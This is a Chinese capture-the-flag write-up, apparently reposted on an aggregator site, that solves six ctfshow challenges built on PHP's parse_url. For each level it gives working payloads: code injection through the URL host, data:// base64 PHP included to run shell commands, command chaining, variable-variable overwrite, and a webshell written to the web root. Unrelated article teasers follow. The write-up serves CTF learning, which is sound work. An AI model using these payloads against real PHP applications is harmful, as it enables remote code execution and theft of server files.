ctfshow parse_url wp

第一关

这个parse_url函数就是解析URL并且进行拆分的

$url = "https://www.example.com/path/to/page?param1=value1&param2=value2";$parsed_url = parse_url($url);print_r($parsed_url);
Array
([scheme] => https[host] => www.example.com[path] => /path/to/page[query] => param1=value1&param2=value2
)
<?php
$data = parse_url($_GET['u']);eval($data['host']);
源码很少就是我们需要利用域名来搞事情
GET:
?u=http://eval($_POST[1]);
POST:
1=system('cat /flag_is_here.txt');

第二关

 <?php$data = parse_url($_GET['u']);include $data['host'].$data['path']; 

用data协议

http://data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b
需要进行一个base64加密
<?php system('cat /f*');?>
PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8+
加号还需要url编码
还有一个很重要的地方就是伪协议里面的data明明是一个 : ,但是这里写  ::  就是因为parse_url这个函数会吞

第三关

<?php
$data = parse_url($_GET['u']);include $data['scheme'].$data['path'];
GET:
?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL19mKicpOz8%2b
POST:
1=system('cat /f*');

第四关

<?php
$data = parse_url($_GET['u']);system($data['host']);
?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s_h3re
cd ..返回上级目录

在这里插入图片描述

第五关

<?phpextract(parse_url($_GET['u']));
include $$$$$$host;
extract函数是把一个数组进行拆分赋值如下图

在这里插入图片描述

也就是说先进行url分解再进行赋值然后再对host进行变量覆盖
<?php
$a=parse_url("user://pass:query@scheme/?fragment%23data://,<?php system('cat /_f1ag_1s_h3ree');?>");
//var_dump($a);
$b=extract($a);
//var_dump($b);
var_dump($host);
var_dump($$host);
var_dump($$$host);
var_dump($$$$host);
var_dump($$$$$host);
var_dump($$$$$$host);
?>
输出:
string(6) "scheme"
string(4) "user"
string(4) "pass"
string(5) "query"
string(57) "fragment%23data://,"
NULL
其实不难看出这个$的变量覆盖使得最后执行php命令

第六关

<?php$data = parse_url($_GET['u']);file_put_contents($data['path'], $data['host']);
?u=http://<script language='php'>eval($_POST[1]);/var/www/html/1.php
然后访问1.php进行rce
path:/var/www/html/1.php
然后host他解析不出来我们就可以写一个小马

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/327867.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

智慧安防系统:构建更安全的社区环境

随着科技的不断进步&#xff0c;人们的生活质量得到了显著提高。然而&#xff0c;与此同时&#xff0c;社会治安问题也日益凸显。为了维护社会的和谐稳定&#xff0c;提高人们的生活安全感&#xff0c;智慧安防系统应运而生。本文将为您详细介绍智慧安防系统的项目背景、需求分…

第十六节:图 (20节)

一 图的概念 1&#xff09;由点的集合和边的集合构成 2&#xff09;虽然存在有向图和无向图的概念&#xff0c;但实际上都可以用有向图来表达 3&#xff09;边上可能带有权值 二 图结构的表达 1&#xff09;邻接表法 2&#xff09;邻接矩阵法 3&#xff09;除此之外还有其他众多…

【Mac】如何解决打开PD虚拟机后Mac无法上网的问题?

问题描述 部分用户在运行Parallels Desktop并打开Windows 11后&#xff0c;发现Windows上网没有问题&#xff0c;但是Mac主机不能访问带域名的网站&#xff0c;而访问带IP的网站没问题&#xff0c;退出Parallels虚拟机以后&#xff0c;Mac网络又恢复正常。 解决办法 退出 Pa…

DC-DC直流升压线性可调电源模块电压控制输出0-50V/0-80V/0-100V/0-200V/0-250V/0-300V/0-500V/0-1000V

特点 效率高达 75%以上1*2英寸标准封装单电压输出可直接焊在PCB 上工作温度: -40℃~75℃阻燃封装&#xff0c;满足UL94-V0 要求温度特性好电压控制输出,输出电压随控制电压线性变化 应用 GRB 系列模块电源是一种DC-DC升压变换器。该模块电源的输入电压分为&#xff1a;4.5~9V、…

通配符SSL证书免费领取!不限量!

通配符SSL证书&#xff08;泛域名证书&#xff09;可以为主域名及其所有子域名提供安全保护&#xff0c;而无需为每个子域名单独申请证书。这对于拥有多个子域名的网站来说&#xff0c;极大地简化了管理和部署SSL证书的过程。 对于学习、测试或者前期预算不足的用户来说&#…

酷开科技依托酷开系统“硬件+内容”产业布局,抢占全球机遇!

2024年3月26日&#xff0c;创维集团发布了2023年年度业绩报告&#xff0c;去年全年实现了总营业额690.31亿元较上一年的534.91亿元整体营业额增长了29.1%。然而&#xff0c;值得注意的是&#xff0c;2023年度&#xff0c;创维集团智能家电业务的营收306.37亿元&#xff0c;较上…

Python轻量级Web框架Flask(14)—— 自己做Flask项目总结

0、前言&#xff1a; 本文意在记录自己在做毕业Flask项目开发时遇到的一些问题&#xff0c;并将问题解决方案记录下来&#xff0c;可做日后查询本文也会记录自己做FLask项目时实现的一些功能&#xff0c;作为开发工作的进程记录注意&#xff1a;用Flask开发的前提是已经设计好…

【js逆向】易车网JS逆向案例实战手把手教学(附完整代码)

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全…

Flask Web开发:使用render_template渲染动态HTML模板

文章目录 Flask简介render_template函数参数说明示例代码 模板文件结果展示 在Web开发中&#xff0c;经常需要将动态数据与HTML模板结合&#xff0c;以生成具有用户特定信息的网页。Python的Flask框架提供了一个功能强大的 render_template函数&#xff0c;用于实现这一目标。…

只用了三天就入门了Vue3?

"真的我学Vue3&#xff0c;只是为了完成JAVA课设" 环境配置 使用Vue3要去先下载Node.js。 就像用Python离不开pip包管理器一样。 Node.js — Run JavaScript Everywhere (nodejs.org) 下完Node.js去学习怎么使用npm包管理器&#xff0c;放心你只需要学一些基础的…

【opencv】opencv透视变换和ocr识别实验

实验环境&#xff1a;anaconda、jupyter notebook 实验用到的包opencv、numpy、matplotlib、tesseract 一、opencv透视变换 原图 图片是我拍的耳机说明书&#xff0c;哈哈哈哈&#xff0c;你也可以使用自己拍的照片&#xff0c;最好是英文内容&#xff0c;tesseract默认识别英…

洛谷 P3372:线段树 1 ← 分块算法模板(区间更新、区间查询)

【题目来源】https://www.luogu.com.cn/problem/P3372【题目描述】 如题&#xff0c;已知一个数列&#xff0c;你需要进行下面两种操作&#xff1a; &#xff08;1&#xff09;将某区间每一个数加上 k。 &#xff08;2&#xff09;求出某区间每一个数的和。【输入格式】 第一行…

JavaScript进阶——05-迭代器和生成器【万字长文,感谢支持】

迭代器 概念 迭代器&#xff08;Iterator&#xff09;是 JavaScript 中一种特殊的对象&#xff0c;它提供了一种统一的、通用的方式遍历个各种不同类型的数据结构。可以遍历的数据结构包括&#xff1a;数组、字符串、Set、Map 等可迭代对象。我们也可以自定义实现迭代器&…

Python爬虫——如何使用urllib的HTTP基本库

怎样通过 urllib库 发送 HTTP 请求&#xff1f; urllib库主要由四个模块组成: urllib.request 打开和读取 URLurllib.error 包含 urllib.request 抛出的异常urllib.parse 用于解析 URLurllib.robotparser 用于解析 robots.txt 文件 1. 使用urllib.parse解析URL 使用urlparse(…

Linux连接文件那点事

什么是连接文件 将一个文件和另一个文件建立联系&#xff0c;分为硬链接和软连接&#xff08;符号连接&#xff09;。 硬链接 Linux中&#xff0c;所有的文件都有一个inode&#xff0c;这个东西就是文件的ID号&#xff0c;硬链接的方式就是通过这个inode来产生新的文件名来建…

【动态规划】:路径问题_地下城游戏

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本专栏是关于各种算法的解析&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通 数据结构专栏&…

Metes and Bounds Pro for Mac 激活版:精准数据转换与绘图利器

Metes and Bounds Pro for Mac是一款专为土地测量和边界划定而设计的专业软件&#xff0c;为Mac用户提供了高效、精确的测量工具。其核心功能在于其全面的测量工具和简便的操作流程&#xff0c;能够满足在土地管理、房地产开发、农业规划等领域的多样化需求。 这款软件集合了距…

语义分割——高分卫星土地覆盖数据集

引言 亲爱的读者们&#xff0c;您是否在寻找某个特定的数据集&#xff0c;用于研究或项目实践&#xff1f;欢迎您在评论区留言&#xff0c;或者通过公众号私信告诉我&#xff0c;您想要的数据集的类型主题。小编会竭尽全力为您寻找&#xff0c;并在找到后第一时间与您分享。 …

C++ QT设计模式 (第二版)

第3章 Qt简介 3.2 Qt核心模块 Qt是一个大库&#xff0c;由数个较小的库或者模块组成&#xff0c;最为常见的如下&#xff1a;core、gui、xml、sql、phonon、webkit&#xff0c;除了core和gui&#xff0c;这些模块都需要在qmake的工程文件中启用 QTextStream 流&#xff0c;Qdat…

2万字实操入门案例之在Springboot框架下用Mybatis简化JDBC开发实现基础的操作MySQL之预编译SQL主键返回增删改查

环境准备 准备数据库表 use mybatis;-- 部门管理 create table dept(id int unsigned primary key auto_increment comment 主键ID,name varchar(10) not null unique comment 部门名称,create_time datetime not null comment 创建时间,update_time datetime not null comme…